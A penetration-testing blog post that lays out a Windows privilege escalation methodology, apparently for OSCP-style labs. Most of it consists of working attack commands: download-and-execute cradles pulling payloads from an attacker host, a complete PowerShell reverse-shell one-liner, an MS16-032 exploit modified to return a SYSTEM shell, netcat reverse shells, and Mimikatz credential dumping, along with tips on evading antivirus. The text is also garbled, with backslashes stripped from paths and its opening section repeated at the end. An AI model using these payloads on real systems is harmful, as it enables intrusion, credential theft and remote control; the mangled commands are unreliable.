Повышение привилегий windows server 2008 r2

Windows-Privilege-Escalation

Here is my step-by-step windows privlege escalation methodology. This guide assumes you are starting with a very limited shell like a webshell, netcat reverse shell or a remote telnet connection.

First things first and quick wins

Do some basic enumeration to figure out who we are, what OS this is, what privs we have and what patches have been installed.

whoami
net user <username>
systeminfo
net config Workstation 
net users 

What is running on the machine?
If we are able to run WMIC we can pull rich details on the services and applications running:

wmic service list full > services.txt
wmic process > processes.txt

Or alternatively:

Has a Windows Auto-login Password been set?

reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWinlogon"

Dump a tree of all the folders / files on the HDD

tree c: > c:userspublicfolders.txt

or for a list of files:

dir /s c: > c:userspublicfiles.txt

Uploading files to the Windows machine

Sometimes we will want to upload a file to the Windows machine in order to speed up our enumeration or to privilege escalate. Often you will find that uploading files is not needed in many cases if you are able to execute PowerShell that is hosted on a remote webserver (we will explore this more in the upgrading Windows Shell, Windows Enumeration and Windows Exploits sections). Uploading files increased the chances of being detected by antivirus and leaves unnecssary data trail behind.
We will look at 4 ways of uploading files to a remote Windows machine from Kali Linux:

1. VBScript HTTP Downloader
2. PowerShell HTTP Downloader
3. Python HTTP Downloader
4. FTP Downloader

NOTE There are MANY more ways to move files back and forth between a Windows machine, most can be found on the LOLBAS project:
https://lolbas-project.github.io/

Most of these will require that we create a simple local webserver on our Kali box to sevre the files (NOTE: I have had issues running this command within TMUX for whatever reason… so dont run it in TMUX).
I like to use the Python Simple HTTP Server:

root@kali:~/Documents/Exploits/WindowsPRIVZ# python -m SimpleHTTPServer 80

Or the Python pyftpdlib FTP Server (again don’t run from TMUX):

apt-get install python-pyftpdlib
root@kali:~/Documents/Exploits/WindowsPRIVZ# python -m pyftpdlib -p 21

Uploading Files with VBScript

In my experiance, VBScript is one of the easiest methods of transfering files to a remote Windows. The only downside is that the file size you can transfer is rather limited. I often have trouble transfering anything over 1 MB using this method and have to fall back on other methods (Windows-privesc-check2.exe is much too large to transfer using this method).
First lets test to see if we can run VBScript

echo WScript.StdOut.WriteLine "Yes we can run vbscript!" > testvb.vbs

Now we run it to see the results:

If you see the following message, we are good to go with VBScript!:

C:UsersTest>cscript testvb.vbs
Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.

Yes we can run vbscript!

If you see the following messages, you should move on to PowerShell:

C:temp>cscript testvb.vbs
This program is blocked by group policy. For more information, contact your system administrator.
C:temp>testvb.vbs
Access is denied.

Now we can create a very simple downloader script by copying and pasting this single line of code into your windows commandline. I have tried to create a VBS script to download files from a remote webserver with the least possible number of lines of VBS code and I believe this is it.
If Windows is an older version of windows (Windows 8 or Server 2012 and below) use the following script:

CMD C:> echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")  > dl.vbs &echo dim bStrm: Set bStrm = createobject("Adodb.Stream")  >> dl.vbs &echo xHttp.Open "GET", WScript.Arguments(0), False  >> dl.vbs &echo xHttp.Send >> dl.vbs & echo bStrm.type = 1 >> dl.vbs &echo bStrm.open >> dl.vbs & echo bStrm.write xHttp.responseBody >> dl.vbs &echo bStrm.savetofile WScript.Arguments(1), 2 >> dl.vbs

If Windows is a newer version (Windows 10 or Server 2016), try the following code:

CMD C:> echo dim xHttp: Set xHttp = CreateObject("MSXML2.ServerXMLHTTP.6.0")  > dl.vbs &echo dim bStrm: Set bStrm = createobject("Adodb.Stream")  >> dl.vbs &echo xHttp.Open "GET", WScript.Arguments(0), False  >> dl.vbs &echo xHttp.Send >> dl.vbs &echo bStrm.type = 1 >> dl.vbs &echo bStrm.open >> dl.vbs &echo bStrm.write xHttp.responseBody >> dl.vbs &echo bStrm.savetofile WScript.Arguments(1), 2 >> dl.vbs

Now try to download a file to the local path:

CMD C:> cscript dl.vbs "http://10.10.10.10/archive.zip" ".archive.zip"

Uploading Files with CertUtil.exe

I’ve found that CertUtil can be quite reliable when all else seems to fail.

certutil.exe -urlcache -split -f http://10.10.10.10/exploit.exe

Transfering Files using MSHTA

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). And it can also be used to transfer files
HTML:

C:>mshta http://10.10.10.10/badthings.exe

FTP:

C:>mshta ftp://10.10.10.10:21/badthings.exe

Trasfering Files using Bitsadmin

Background Intelligent Transfer Service (BITS) is a component of Microsoft Windows XP and later iterations of the operating systems, which facilitates asynchronous, prioritized, and throttled transfer of files between machines using idle network bandwidth. BITSAdmin is a command-line tool that you can use to create download or upload jobs and monitor their progress. For full, comprehensive documentation of the tool and all of its commands, see bitsadmin and bitsadmin examples in the Windows IT Pro Center.

C:>bitsadmin /transfer badthings http://10.10.10.10:80/badthings.exe c:userspublicpayload.exe

Uploading Files with PowerShell

Test to see if we can run Powershell:

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "get-host"

Test to see if we can run Powershell Version 2:

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -Version 2 -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "$PSVersionTable"

Try to download a file from a remote server to the windows temp folder from the Windows command line:

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/exploit.exe", "C:\Users\Public\Downloads\exploit.exe")"

Or from a PowerShell… shell:

PS C:> IEX(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/exploit.exe", "C:\Users\Public\Downloads\exploit.exe")"

OR This one seems to work better while at the console:

PS C:> IEX(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/exploit.exe", "C:UsersPublicDownloadsexploit.exe")

Uploading Files with Python

Sometimes a Windows machine will have development tools like Python installed.
Check for python

Download a file using Python:

python -c "import urllib.request; urllib.request.urlretrieve('http://10.10.10.10/cat.jpg', 'C:\Users\Public\Downloads\cat.jpg');"

Uploading Files with Perl

Sometimes a Windows machine will have development tools like PERL installed.
Check for PERL

Download a file using PERL:

perl -le "use File::Fetch; my $ff = File::Fetch->new(uri => 'http://10.10.10.10/nc.exe'); my $file = $ff->fetch() or die $ff->error;"

Uploading Files with FTP

After running the python ftp lib on (python -m pyftpdlib -p 21) on Kali, you can try connecting using the windows FTP client:

C:Userspwnd>ftp 10.10.10.10
Connected to 10.10.10.10
220 pyftpdlib 1.5.3 ready.
User (10.10.15.31:(none)): anonymous
331 Username ok, send password.
Password: anonymous

230 Login successful.                                                                                                                      
ftp> ls                                                                                                                                 
dir                                                                                                                                       
421 Active data channel timed out.                                                                                                       

If you are seeing a 421 timeout when you try to send a command it is likely because your connection is being blocked by the windows firewall. The Windows command-line ftp.exe supports the FTP active mode only. In the active mode, the server has to connect back to the client to establish data connection for a file transfer.

You can check to see if the remote machine has Winscp.exe installed. Winscp is capable of connecting to an FTP server using passive mode and will not be blocked by the firewall.

Transfering Files via SMB using Impacket

Kali comes loade with the incredible Impacket library which is a swiss army knife of network protocols… just Awesome. You can easily create a SMB share on your local Kali machine and move files between Kali and Windows with ease.
https://github.com/SecureAuthCorp/impacket

First we will setup the SMB Share on Kali like so:

root@kali:~# impacket-smbserver root /root/Desktop
Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
                                                                    

Confirm it is up and running using Net View on the Windows command line:

C:UsersNull>net view \192.168.0.49
Shared resources at \192.168.0.49

(null)

Share name  Type  Used as  Comment

-------------------------------------------------------------------------------
smbshare    Disk
The command completed successfully.

Then we can trasnfer files from the command line as if it were a normal folder:

C:UsersAdmin>dir \192.168.0.49smbshare 
C:UsersAdmin>copy \192.168.0.49smbshareloot.zip .  

By far the most interesting feature of the SMB Share method is that you can execute files directly over the SMB Share without copying them to the remote machine (fileless execution is so hot right now):

C:UsersAdmin>\192.168.0.49smbsharepayload.exe

A fancy trick I learned from IPPSec is to create a mapped drive to a remote SMB share like so:

net use y: \192.168.0.49smbshare  
y: 
dir 

Execute a remote shell dropper

Often, you can leverage PowerShell to execute a remotely hosted powershell script which contains a shell dropper (generated by the platform of your choosing).

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -WindowStyle hidden -NonInteractive -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.10.10.10/Invoke-PowerShellTcp.ps1'))"

There are also some no-so-well documented PowerShell argument shortcuts so can use things like -w rather than -WindowsStyle (handy for smaller payloads):

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -w hidden -noni -nop -i None -ex Bypass -c "iex ((New-Object System.Net.WebClient).DownloadString('http://10.10.10.10/Invoke-PowerShellTcp.ps1'))"

Upgrading your Windows Shell

You might find that you are connected with a limited shell such as a Web shell, netcat shell or Telnet connection that simply is not cutting it for you. Here are a few oneliners you can use to upgrade your shell:

Upgrade Shell with PowerShell Nishang

Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security and post exploitation during Penetraion Tests. The scripts are written on the basis of requirement by the author during real Penetration Tests.

root@kali:~/test# git clone https://github.com/samratashok/nishang.git                                                  
Cloning into 'nishang'...
remote: Enumerating objects: 1612, done.
remote: Total 1612 (delta 0), reused 0 (delta 0), pack-reused 1612
Receiving objects: 100% (1612/1612), 5.87 MiB | 6.62 MiB/s, done.
Resolving deltas: 100% (1010/1010), done.
root@kali:~/test# cd nishang/
root@kali:~/test/nishang# cd Shells/
root@kali:~/test/nishang/Shells# echo Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.10 -Port 4444 >> Invoke-PowerShellTcp.ps1
root@kali:~/test/nishang/Shells# python -m SimpleHTTPServer 80

Now open up a netcat listener on Kali:

And Execute the remote powershell script hosted on your Kali SimpleHTTPServer

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.10.10.10/Invoke-PowerShellTcp.ps1'))"

Upgrade Windows Command Line with a Powershell One-liner Reverse Shell:

You can run this oneliner from the remote Windows command prompt to skip the file upload step entirely (again be sure to update the IP and port):

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "&{$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "^> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()}"

Netcat Reverseshell Oneliners for Windows

Sometimes it is helpful to create a new Netcat session from an existed limited shell, webshell or unstable (short lived) remote shell.

Windows Enumeration

NOTE There are many executables that could provide privledge escalation if they are being run by a privledged user, most can be found on the incredible LOLBAS project:
https://lolbas-project.github.io/

Automated Windows Enumeration Scripts

We are also going to look a a few automated methods of performing Windows Enumeration including:

• WindownPrivEsc.exe
• Sherlock
• Watson
• JAWZ
• Seatbelt

Running Windows Privesc Check (windows-privesc-check)

The Windows Privesc Check is a very powerful tool for finding common misconfigurations in a Windows system that could lead to privledge escalation. It has not been updated for a while, but it is still as effective today as it was 5 years ago. The downside of this script is that it was written in Python and if the target system does not have Python installed, you will need to use an executable version that has a Python interpreter built in. Having to include Python in the package makes the executable version is pretty large, coming in at a whopping 7.14 MB!!

First we will need to clone the latest version to our environment:

root@kali:~/tools# git clone https://github.com/pentestmonkey/windows-privesc-check
Cloning into 'windows-privesc-check'...
remote: Enumerating objects: 1232, done.
remote: Total 1232 (delta 0), reused 0 (delta 0), pack-reused 1232
Receiving objects: 100% (1232/1232), 34.79 MiB | 4.61 MiB/s, done.
Resolving deltas: 100% (897/897), done.

Next we will need to setup a simple python HTTP webserver in Kali to host the file which the remote Windows box can download it from:

root@kali:~/tools# cd windows-privesc-check/
root@kali:~/tools/windows-privesc-check# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

Now we will need to transfer the file to our remote windows box:

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/windows-privesc-check2.exe", "C:\Users\Public\Downloads\windows-privesc-check2.exe");

And now we run the executeable on the remote machine. I like run with all the audit enabled like so:

C:UsersAdmin>cd ..
C:Users>cd Public
C:UsersPublic>cd Downloads
C:UsersPublicDownloads>windows-privesc-check2.exe --audit -a -o report
windows-privesc-check v2.0svn198 (http://pentestmonkey.net/windows-privesc-check)...

The windows-privesc-check will create a detailed HTML report and text based report for your review.

Running Sherlock

Sherlock is a powershell library with a number of privledge escalation checkers built in.
We can stage and run sherlock on a remote http server so the file never needs to hit the remote server’s HDD.

root@kali:~test# git clone https://github.com/rasta-mouse/Sherlock.git
Cloning into 'Sherlock'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 75 (delta 0), reused 2 (delta 0), pack-reused 72
Unpacking objects: 100% (75/75), done.
root@kali:~test# cd Sherlock/
root@kali:~test/Sherlock# ls
LICENSE  README.md  Sherlock.ps1
root@kali:~test/Sherlock# echo Find-AllVulns >> Sherlock.ps1
root@kali:~test/Sherlock# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

Now we can run this from the remote Windows CMD shell:

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.10.10.10/Sherlock.ps1'))"

Or from a Windows Powershell:

PS C:> IEX(New-Object Net.Webclient).downloadString('http://10.10.10.10/Sherlock.ps1')

Running Watson

Sherlock has been superceded by a .net Windows enumeration platform called Watson which is frequently updated by the author.
It is a bit tricker to deploy and use as you need to compile it yourself and match the version of .net with the target system’s version.

First, on the target system we will need to check the versions of .Net that have been installed by navigating to the .net framework folder and poking around:

cdWindowsMicrosoft.NETFramework
dir /s msbuild

Only active versions of .NET will have the msbuild.exe.
Make note of the available versions and leverage that to compile your version of Watson that targets the remote Windows machine.
Download the latest version of Watson from github:

git clone https://github.com/rasta-mouse/Watson.git

And open it using Visual Studio. In the Solution Explorer, click the Properties and modify the «Target Framework:» value to align with the remote Windows machine’s version of the .Net framework. It will prompt you to reopen the project. Once the project has reloaded, Build the project under the Release mode (CTRL + SHIFT + B).

Next we will copy our Watson.exe to our Kali instance and setup a simple python HTTP webserver in Kali to host the file which the remote Windows box can download it from:

root@kali:~/tools# cd Watson/
root@kali:~/tools/Watson# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

Now we will need to transfer the compiled Watson.exe file to our remote windows box:

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/Watson.exe", "C:\Users\Public\Downloads\Watson.exe");

And now we run the executeable on the remote machine. I like run with all the audit enabled like so:

C:UsersAdmin>cd ..
C:Users>cd Public
C:UsersPublic>cd Downloads
C:UsersPublicDownloads>Watson.exe

Running JAWS — Just Another Windows (Enum) Script

JAWS is another powershell library that was built with privledge escalation of the OSCP lab machines in mind.
We can stage and run JAWS on a remote http server so the file never needs to hit the remote server’s HDD.

root@kali:~test# git clone https://github.com/411Hall/JAWS

Now we can run this from the remote Windows CMD shell:

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.10.10.10/jaws-enum.ps1'))"

Or from a Windows Powershell:

PS C:> IEX(New-Object Net.Webclient).downloadString('http://10.10.10.10/jaws-enum.ps1')

And we should see the following output start to appear:

Running J.A.W.S. Enumeration
        - Gathering User Information
        - Gathering Processes, Services and Scheduled Tasks
        - Gathering Installed Software

Fireeye Session Gopher

Leveraging credentials is still the most common ways of privledge escalation in Windows environments. Session Gopher is a PowerShell script designed to automaticlly harvest credentials from commonly used applications.

To run Session Gopher, we will first need to pull down the latest version from the Fireeye github repository:

git clone https://github.com/fireeye/SessionGopher
Cloning into 'SessionGopher'...
remote: Enumerating objects: 48, done.
Unpacking objects: 100% (48/48), done.
remote: Total 48 (delta 0), reused 0 (delta 0), pack-reused 48

Next we can serve it up on our local KALI instance by using the simple python HTTP server:

root@kali:~/tools# cd SessionGopher/
root@kali:~/tools/SessionGopher# ls
README.md  SessionGopher.ps1
root@kali:~/tools/SessionGopher# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

Finally we can file-lessly execute it from our remote Windows shell:

@"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.10.10.10/SessionGopher.ps1')); Invoke-SessionGopher -Thorough"

Or from a Windows Powershell:

PS C:> IEX(New-Object Net.Webclient).downloadString('http://10.10.10.10/SessionGopher.ps1')

Or we can download and run it:

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/SessionGopher.ps1", "C:\Users\Public\Downloads\SessionGopher.ps1");
CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "& { . .SessionGopher.ps1; Invoke-SessionGopher -Thorough}"

Running Mimikatz

Mimikatz is a Windows post-exploitation tool written by Benjamin Delpy (@gentilkiwi). It allows for the extraction of plaintext credentials from memory, password hashes from local SAM/NTDS.dit databases, advanced Kerberos functionality, and more.
https://github.com/gentilkiwi/mimikatz

Running traditional (binary) Mimikatz

The original and most frequently updated version of Mimikatz is the binary executable which can be found here:
https://github.com/gentilkiwi/mimikatz/releases

First we will need to download a Mimikatz binary and copy it to the remote machine

root@kali:~/test# wget https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20180925/mimikatz_trunk.zip     
--2018-10-16 15:14:49--  https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20180925/mimikatz_trunk.zip                     
root@kali:~/test# unzip mimikatz_trunk.zip

Now we will need to copy the 3 files (win32 or x64 depending on the OS) required to run Mimikatz to the remote server.

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/mimidrv.sys", "C:\Users\Public\Downloads\mimidrv.sys"); (New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/mimikatz.exe", "C:\Users\Public\Downloads\mimikatz.exe"); (New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/mimilib.dll", "C:\Users\Public\Downloads\mimilib.dll")"

Now, if we dont have an overly interactive shell, we will want to execute Mimikatz without the built in CLI by passing the correct parameters to the executable. We use the log parameter to also log the clear password results to a file (just in case we are unable to see the output).

mimikatz log version "sekurlsa::logonpasswords" exit

Otherwise we can use the Mimikatz shell to get the passwords:

mimikatz.exe
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords

Running Powershell Mimikatz

The Powershell version is not as frequently updated, but can be loaded into memory without ever hitting the HDD (Fileless execution). This version simply reflectively loads the Mimikatz binary into memory so we could probably update it ourselves without much difficulty.

wget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1

Fileless execution of Mimikatz from remotely hosted server:

PS C:> IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1') ; Invoke-Mimikatz -DumpCreds

Windows Kernel Exploits

MS16-032

If the remote machine appears to be vulnerable to MS16-032, we can execute a powershell script from a remote server to exploit it.

Title      : Secondary Logon Handle
MSBulletin : MS16-032
CVEID      : 2016-0099
Link       : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable

Get the Powershell script from FuzzySecurity’s Github, add an invoke to the end of the script and share the folder using the python SimpleHTTPServer:

root@kali:~test# git clone https://github.com/FuzzySecurity/PowerShell-Suite.git
Cloning into 'PowerShell-Suite'...
remote: Enumerating objects: 378, done.
remote: Total 378 (delta 0), reused 0 (delta 0), pack-reused 378
Receiving objects: 100% (378/378), 5.94 MiB | 2.06 MiB/s, done.
Resolving deltas: 100% (179/179), done.
root@kali:~test# cd PowerShell-Suite/
root@kali:~test/PowerShell-Suite# echo Invoke-MS16-032 >> Invoke-MS16-032.ps1 
root@kali:~test/PowerShell-Suite# python -m Simple
SimpleDialog        SimpleHTTPServer    SimpleXMLRPCServer  
root@kali:~test/PowerShell-Suite# python -m SimpleHTTPServer 80

The default version of the MS16-032 script will create a Pop-up CMD.exe window on the remote machine. Unfortunatly, we cannot access this from a limited shell… BUT we can modify the exploit to call a reverse shell. Its pretty easy to modify it to call a reverse powershell that will connect back to our machine with a System shell. We will need to modify line 330 of the exploit (the ip address and port will need to be updated of course):

		# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
		#$CallResult = [Advapi32]::CreateProcessWithLogonW(
		#	"user", "domain", "pass",
		#	0x00000002, "C:WindowsSystem32cmd.exe", "",
		#	0x00000004, $null, $GetCurrentPath,
		#	[ref]$StartupInfo, [ref]$ProcessInfo)

		# Modified to create a Powershell reverse shell 
		$CallResult = [Advapi32]::CreateProcessWithLogonW(
			"user", "domain", "pass",
			0x00000002, 
			'C:WindowsSystem32WindowsPowerShellv1.0powershell.exe', 
			'-NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "&{$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "^> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()}"',
			0x00000004, $null, $GetCurrentPath,
			[ref]$StartupInfo, [ref]$ProcessInfo)

On the remote host execute the exploit:

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.10.10.10/Invoke-MS16-032.ps1'))"

Or from a Windows Powershell:

PS C:> IEX(New-Object Net.Webclient).downloadString('http://10.10.10.10/Invoke-MS16-032.ps1')

Or if you wanted to upload the exploit, you can always run it like this:

PS C:> powershell -ExecutionPolicy ByPass -command "& { . C:UsersPublicInvoke-MS16-032.ps1; Invoke-MS16-032 }"

On our Kali machine we create the reverse shell and … BOOM! Root dance.

root@kali:~# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.10.11] from (UNKNOWN) [10.10.10.10] 49182

PS C:Usersjimmy^> whoami
nt authoritysystem

Windows Run As

Prior to successfully performing a Windows run as, we of course need a valid windows username and password.
Here is a oneliner powershell script to verify a username / password is valid on the local system:

Requires .Net 3.5

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "&{$username = '<username here>'; $password = '<password here>'; $computer = $env:COMPUTERNAME; Add-Type -AssemblyName System.DirectoryServices.AccountManagement; $obj = New-Object System.DirectoryServices.AccountManagement.PrincipalContext('machine',$computer); $obj.ValidateCredentials($username, $password); }"

Requires .Net 2.0

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "&{$username = '<username here>'; $password = '<password here>'; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; Start-Process -FilePath C:WindowsSystem32calc.exe -NoNewWindow -Credential $credential; }"

Switching users in linux is trival with the SU command. However, an equivalent command does not exist in Windows. Here are 3 ways to run a command as a different user in Windows.

Sysinternals psexec is a handy tool for running a command on a remote or local server as a specific user, given you have thier username and password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Psexec (on a 64 bit system).

 C:>psexec64 \COMPUTERNAME -u Test -p test -h "c:userspublicnc.exe -nc 192.168.1.10 4444 -e cmd.exe" 
 PsExec v2.2 - Execute processes remotely
 Copyright (C) 2001-2016 Mark Russinovich
 Sysinternals - www.sysinternals.com

Runas.exe is a handy windows tool that allows you to run a program as another user so long as you know thier password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Runas.exe:

 C:>C:WindowsSystem32runas.exe /env /noprofile /user:Test "c:userspublicnc.exe -nc 192.168.1.10 4444 -e cmd.exe"
 Enter the password for Test:
 Attempting to start nc.exe as user "COMPUTERNAMETest" ...

PowerShell can also be used to launch a process as another user. The following simple powershell script will run a reverse shell as the specified username and password.

 $username = '<username here>'
 $password = '<password here>'
 $securePassword = ConvertTo-SecureString $password -AsPlainText -Force
 $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
 Start-Process -FilePath C:UsersPublicnc.exe -NoNewWindow -Credential $credential -ArgumentList ("-nc","192.168.1.10","4444","-e","cmd.exe") -WorkingDirectory C:UsersPublic

Next run this script using powershell.exe:

CMD C:> powershell -ExecutionPolicy ByPass -command "& { . C:UserspublicPowerShellRunAs.ps1; }"

Other files

Here are few other handy scripts and things…

Capture a screen shot

The following powershell commands can be used to capture a screen shot of the remote computers desktop and store it as a BMP file.

Add-Type -AssemblyName System.Windows.Forms
Add-type -AssemblyName System.Drawing
$Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen
$bitmap = New-Object System.Drawing.Bitmap $Screen.Width, $Screen.Height
$graphic = [System.Drawing.Graphics]::FromImage($bitmap)
$graphic.CopyFromScreen($Screen.Left, $Screen.Top, 0, 0, $bitmap.Size)
$bitmap.Save('screen1.bmp')

If you are on CMD you can use this handy one-liner to execute the same powershell command

@"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Windows.Forms; Add-type -AssemblyName System.Drawing; $Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen; $bitmap = New-Object System.Drawing.Bitmap $Screen.Width, $Screen.Height; $graphic = [System.Drawing.Graphics]::FromImage($bitmap); $graphic.CopyFromScreen($Screen.Left, $Screen.Top, 0, 0, $bitmap.Size); $bitmap.Save('screen1.bmp')"

CopyAndPasteFileDownloader.bat

Windows file transfer script that can be pasted to the command line. File transfers to a Windows machine can be tricky without a Meterpreter shell. The following script can be copied and pasted into a basic windows reverse and used to transfer files from a web server (the timeout 1 commands are required after each new line)

CopyAndPasteEnum.bat

No File Upload Required Windows Privlege Escalation Basic Information Gathering (based on the fuzzy security tutorial).
Copy and paste the following contents into your remote Windows shell in Kali to generate a quick report

enumeration.md

Basic notes on Windows Enumeration from the OSCP.

windows_recon.bat

An uploadable batch file for performing basic windows enumeration.

References
https://medium.com/@hakluke
https://daya.blog/2018/01/06/windows-privilege-escalation/
https://pentestlab.blog/2017/04/19/stored-credentials/
https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/
https://www.abatchy.com/
https://gist.github.com/egre55
https://github.com/egre55/ultimate-file-transfer-list
https://lolbas-project.github.io/
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
https://github.com/GhostPack/Seatbelt
https://github.com/rasta-mouse/Watson
http://hackingandsecurity.blogspot.com/2017/09/oscp-windows-priviledge-escalation.html
https://blog.ropnop.com/transferring-files-from-kali-to-windows/#smb

Windows-Privilege-Escalation

Here is my step-by-step windows privlege escalation methodology. This guide assumes you are starting with a very limited shell like a webshell, netcat reverse shell or a remote telnet connection.

First things first and quick wins

Do some basic enumeration to figure out who we are, what OS this is, what privs we have and what patches have been installed.

whoami
net user <username>
systeminfo
net config Workstation 
net users 

What is running on the machine?
If we are able to run WMIC we can pull rich details on the services and applications running:

wmic service list full > services.txt
wmic process > processes.txt

Or alternatively:

Has a Windows Auto-login Password been set?

reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWinlogon"

Dump a tree of all the folders / files on the HDD

tree c: > c:userspublicfolders.txt

or for a list of files:

dir /s c: > c:userspublicfiles.txt

Uploading files to the Windows machine

Sometimes we will want to upload a file to the Windows machine in order to speed up our enumeration or to privilege escalate. Often you will find that uploading files is not needed in many cases if you are able to execute PowerShell that is hosted on a remote webserver (we will explore this more in the upgrading Windows Shell, Windows Enumeration and Windows Exploits sections). Uploading files increased the chances of being detected by antivirus and leaves unnecssary data trail behind.
We will look at 4 ways of uploading files to a remote Windows machine from Kali Linux:

1. VBScript HTTP Downloader
2. PowerShell HTTP Downloader
3. Python HTTP Downloader
4. FTP Downloader

NOTE There are MANY more ways to move files back and forth between a Windows machine, most can be found on the LOLBAS project:
https://lolbas-project.github.io/

